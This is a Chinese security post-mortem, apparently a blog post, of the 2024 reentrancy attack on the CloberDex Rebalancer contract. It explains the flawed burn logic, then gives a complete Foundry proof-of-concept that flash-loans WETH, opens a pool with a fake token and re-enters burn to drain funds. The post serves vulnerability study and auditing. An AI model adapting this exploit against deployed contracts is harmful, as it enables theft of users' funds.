CloberDex-Rebalancer攻击分析---重入漏洞

  • 黑梨888
  • 更新于 2024-12-31 16:39
  • 阅读 241

基础信息2024.12.10日CloberDex合约遭受重入攻击导致损失133.7个WETH。我对此攻击进行了分析,深入代码查看漏洞根源,梳理攻击流程,并基于foundry完成了一份PoC。本次攻击的根因:未检测用户输入+重入漏洞。

基础信息

2024.12.10日CloberDex合约遭受重入攻击导致损失133.7个WETH。我对此攻击进行了分析,深入代码查看漏洞根源,梳理攻击流程,并基于foundry完成了一份PoC。 本次攻击的根因:未检测用户输入+重入漏洞。 攻击交易https://app.blocksec.com/explorer/tx/base/0x8fcdfcded45100437ff94801090355f2f689941dca75de9a702e01670f361c04 被害合约地址: 0x6a0b87d6b74f7d5c92722f6a11714dbeda9f3895 首次纰漏的twitterhttps://x.com/CertiKAlert/status/1866425599541080338

漏洞合约与代码分析

rebalancer协议概述

虽然网上对于rebalancer的介绍非常少,至少我自己没发现他的官方网站或者详细一点的项目介绍。所以我只能从代码中通过主要对外开放的合约方法对该项目有一个大概的了解。 代码中可以被外部调用且非view的方法只有四个:

  • open:该方法与本次攻击相关。这个方法用于创建并初始化一个新的交易对池子。用户不仅可以绑定特定的交易对,还可以输入strategy用于指定该资产池所使用的策略地址。这是本次攻击的关键。
  • burn:用户在资产池中销毁一定数量LP token,提取对应的底层资产。销毁时需要处罚用户自定义策略地址的burnhook方法,这是本次攻击的关键。
  • rebalance:根据预先设置的策略,重新分配池子里两个资产的流动性。此方法与本次攻击无关。
  • mint: 一个payable方法,用户通过向这个方法中转入资金,合约计算当前池子里,两种币对的流动性,然后计算出mint amount,最终生产代币转给用户。此方法与本次攻击有一些关系,但关系不大,不是漏洞根源。

    open方法

    open方法可以直接被外部用户调用,通过合约间层层调用,最终会到达_open函数,在252行可以看到,用户传入的 参数strategy最终会被保存在池子参数里。 image.png

    burn方法

    在burn方法的277行可以发现,这里最终调用了open函数中用户传入的strategy地址合约的burnhook方法,由于这个合约是用户控制,那么burnhook方法可以植入恶意代码。在本次攻击里,用户在burnhook逻辑中重新进入burn方法,拿到了更多的底层资产(WETH)。

image.png

攻击步骤讲解

黑客在攻击前首先部署了一个币(称它为A币好了):0xd3c8d0cd07ade92df2d88752d36b80498ca12788,然后闪电贷267.4个WETH,在rebalancer创建了A币和WETH的交易池。WETH为基础货币(base),A币为报价货币(quote) image.png 开通池子后,黑客把借到的所有WETH和自己发行的A币都投入到池子铸造出267.4个LP Token。 image.png 然后黑客调用burn函数试图销毁一半(133.7)的LP Token。让我们具体看一下Burn函数是如果工作的: image.png 在burn中通过上述分析的代码最终调用了黑客的burnHook方法,在BurnHook方法中,黑客再次调用rebalancer的burn方法。

  • 第一次进入Burn,由于是烧掉一半的LP Token,所以黑客得到rebalancer返回的133.7个WETH。
  • 第二次进入Burn,这时再烧掉133.7个LP Token,相当于整个资金池100%的WETH都要返回,所以黑客得到了267.4个WETH

为什么第一次进入后,第二次进入前,合约还认为总体资金量(total reserve)是267.4个,LP Token总发行量(total supply)是133.7个了?让我们再回到burn代码: image.png 修改LP Token总供应量total supply的代码(276行)发生在重入之前,修改总体资金量total reserve的代码(282-283行)发生在重入之后,所以第二次进入的时候,合约还没来得及修改自己总体资金量total reserve,但是已经修改了总供应量total supply。所以黑客第二次仅持有133.7个LP Token被误认为持有所有WETH和A币的“股权”。 总体算下来,黑客赚到了133.7个WETH。

PoC代码

通过foundry在本地模拟黑客攻击,确实可以盈利133个WETH,美滋滋。 image.png

//这个是攻击代码
// SPDX-License-Identifier: UNLICENSED
//forge test --match-path test/rebalancer.t.sol -vvv --evm-version cancun
pragma solidity ^0.8.25;
import "lib/forge-std/src/Test.sol";
import "./ERC20.sol";
import "./interface.rebalancer.sol";
contract rebalancerTest is Test,ERC20(100000){
    address weth = 0x4200000000000000000000000000000000000006;
    address morphoBlue=0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
    address rebalancer =0x6A0b87D6b74F7D5C92722F6a11714DBeDa9F3895;
    uint256 amountToHack=0;
    uint256 rebalancerWETH=0;
    bool reEntry =false;

    function setUp() external {
        vm.createSelectFork( "https://developer-access-mainnet.base.org", 23514451 - 1);
        deal(address(this), 1e18);
    }

    function testAttack() external{
        //攻击前账户余额
        console.log("before Attacking, I have WETH: ",IERC20(weth).balanceOf(address(this))/10**18);
        //1. 闪电贷
        rebalancerWETH=IERC20(weth).balanceOf(rebalancer);
        rebalancerWETH=(rebalancerWETH/10**18)*10**18;
        amountToHack = rebalancerWETH*2;
        Morpho(morphoBlue).flashLoan(weth,amountToHack,"0");
        //攻击后账户余额
        console.log("after Attacking, I have WETH: ",IERC20(weth).balanceOf(address(this))/10**18);
    }
    function onMorphoFlashLoan(uint256 amount, bytes calldata data ) external{
        //1. 创建一个交易对池子(open)
        IHooks hooksA =IHooks(address(0x0000000000000000000000000000000000000000));
        IRebalancer.Currency baseCurrencyA = IRebalancer.Currency.wrap(weth);
        IRebalancer.Currency quoteA = IRebalancer.Currency.wrap(address(this));
        IRebalancer.FeePolicy makerPolicyA = IRebalancer.FeePolicy.wrap(uint24(888608));
        IRebalancer.BookKey memory bookKeyA = IRebalancer.BookKey({base: baseCurrencyA, unitSize: 1, quote: quoteA, makerPolicy: makerPolicyA, hooks: hooksA, takerPolicy: makerPolicyA});
        IRebalancer.BookKey memory bookKeyB = IRebalancer.BookKey({base: quoteA, unitSize: 1, quote: baseCurrencyA, makerPolicy: makerPolicyA, hooks: hooksA, takerPolicy: makerPolicyA});
        bytes32 poolKey=IRebalancer(rebalancer).open(bookKeyA,bookKeyB,"1",address(this));
        //2. 交易对池子中添加流动性 approve这两个币
        this.approve(rebalancer,type(uint256).max);

        IERC20(weth).approve(rebalancer,amountToHack);
        //3. 因为添加了流动性,所以mint会通过
        IRebalancer(rebalancer).mint(poolKey,amountToHack,amountToHack,0);
        //4. burn刚才获得的LP token
        IRebalancer(rebalancer).burn(poolKey,rebalancerWETH,0,0);
        //5.还闪电贷
        IERC20(weth).approve(morphoBlue,amount);
    }
    function burnHook(address receiver,  bytes32 key, uint256 burnAmount, uint256 lastTotalSupply ) external{
        if(reEntry == false){
            reEntry=true;
            IRebalancer(rebalancer).burn(key,rebalancerWETH,0,0);
        }
    }
    function mintHook(address receiver,bytes32 key, uint256 amount,uint256 amount2) external{}
}
// SPDX-License-Identifier: MIT
//这个是简单实现的erc20.
pragma solidity ^0.8.0;
import "lib/forge-std/src/Test.sol";

contract ERC20 is Test {
    string public name = "SimpleToken";
    string public symbol = "SIM";
    uint8 public decimals = 18;
    uint256 public totalSupply;

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(uint256 _initialSupply) {
        totalSupply = _initialSupply * (10 ** uint256(decimals));
        balances[0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function balanceOf(address account) public view returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        //require(balances[msg.sender] >= amount, "Insufficient balance");
        //_transfer(msg.sender, to, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(to != address(0), "Transfer to zero address");
        balances[from] -= amount;
        balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "Approve from zero address");
        require(spender != address(0), "Approve to zero address");
        allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return allowances[owner][spender];
    }

    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
        require(allowances[from][msg.sender] >= amount, "Allowance exceeded");
        require(balances[from] >= amount, "Insufficient balance");
        _transfer(from, to, amount);
        _approve(from, msg.sender, allowances[from][msg.sender] - amount);
        return true;
    }
}

思考

大家都知道,防止重入一个有效方式是“先记账,后转账”。这个合约代码逻辑是“先记一部分账,然后调用了一个存在风险的合约策略,再记一部分帐,最后转账”。可能很多开发同学只是死记硬背“先记账,后转账”的道理,为什么这么做却不甚了解,导致真正实践的时候并不能从根源上避免重入。 我觉得以后记账的全部操作越早完成全部越好。

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
黑梨888
黑梨888
web3安全,合约审计。biu~